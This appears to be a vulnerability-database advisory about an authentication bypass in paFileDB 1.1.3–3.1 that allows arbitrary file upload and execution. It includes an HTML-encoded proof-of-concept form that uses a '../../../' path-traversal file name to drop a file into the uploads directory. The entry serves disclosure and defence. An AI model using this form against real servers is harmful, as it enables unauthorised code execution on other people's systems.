PHP Arena paFileDB 1.1.3/2.1.1/3.0/3.1 - Arbitrary File Upload And Execution Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

PHP Arena paFileDB Arbitrary File Upload And Execution Vulnerabilit


                                                source: http://www.securityfocus.com/bid/8271/info

It has been reported that a script contained in paFileDB does not properly verify user credentials before accepting files for upload. As a result, remote attackers may be able to upload files to the Web server. After a file has been uploaded, it may be possible for the attacker to execute the file remotely.

&#60;html&#62;&#60;body&#62;
&#60;form ENCTYPE=&#34;multipart/form-data&#34; method=&#34;POST&#34; action=&#34;http://srv/pafiledb/includes/team/file.php&#34;&#62;
&#60;input name=&#34;userfile&#34; TYPE=&#34;file&#34;&#62;&#60;br&#62;
&#60;input name=&#34;userfile_name&#34; TYPE=&#34;text&#34; value=&#34;../../../uploads/makeawish&#34;&#62;&#60;br&#62;
&#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;team&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;tm&#34; value=&#34;file&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;file&#34; value=&#34;upload&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;upload&#34; value=&#34;do&#34;&#62;
&#60;input type=submit name=submit value=&#34;doit&#34;&#62;
&#60;/form&#62;
&#60;/body&#62;&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1